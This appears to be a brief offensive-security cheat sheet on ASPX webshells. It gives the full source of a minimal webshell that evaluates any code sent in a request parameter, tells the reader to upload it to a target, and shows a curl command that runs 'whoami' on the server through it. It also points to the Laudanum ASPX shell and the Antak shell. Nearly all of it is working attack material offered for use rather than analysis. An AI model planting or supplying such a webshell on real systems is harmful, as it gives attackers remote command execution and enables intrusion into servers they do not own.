Aspx Webshell
Minimal .aspx webshell
Save as spam.aspx
<script language="JScript" runat="server">
function Page_Load(){
eval(Request["shell"],"unsafe");
}
</script>Upload to Target
Interact
curl -s -k https://$host/spam.aspx \
-d 'shell=Response.Write(
new ActiveXObject("WScript.Shell")
.Exec("cmd /c whoami")
.StdOut
.ReadAll()
);' | head -n 1Laudanum ASPX webshell
/usr/share/webshells/laudanum/aspx/shell.aspxAdd IP to list of allowed IPs
Antak
Set credentials on line 14
Last updated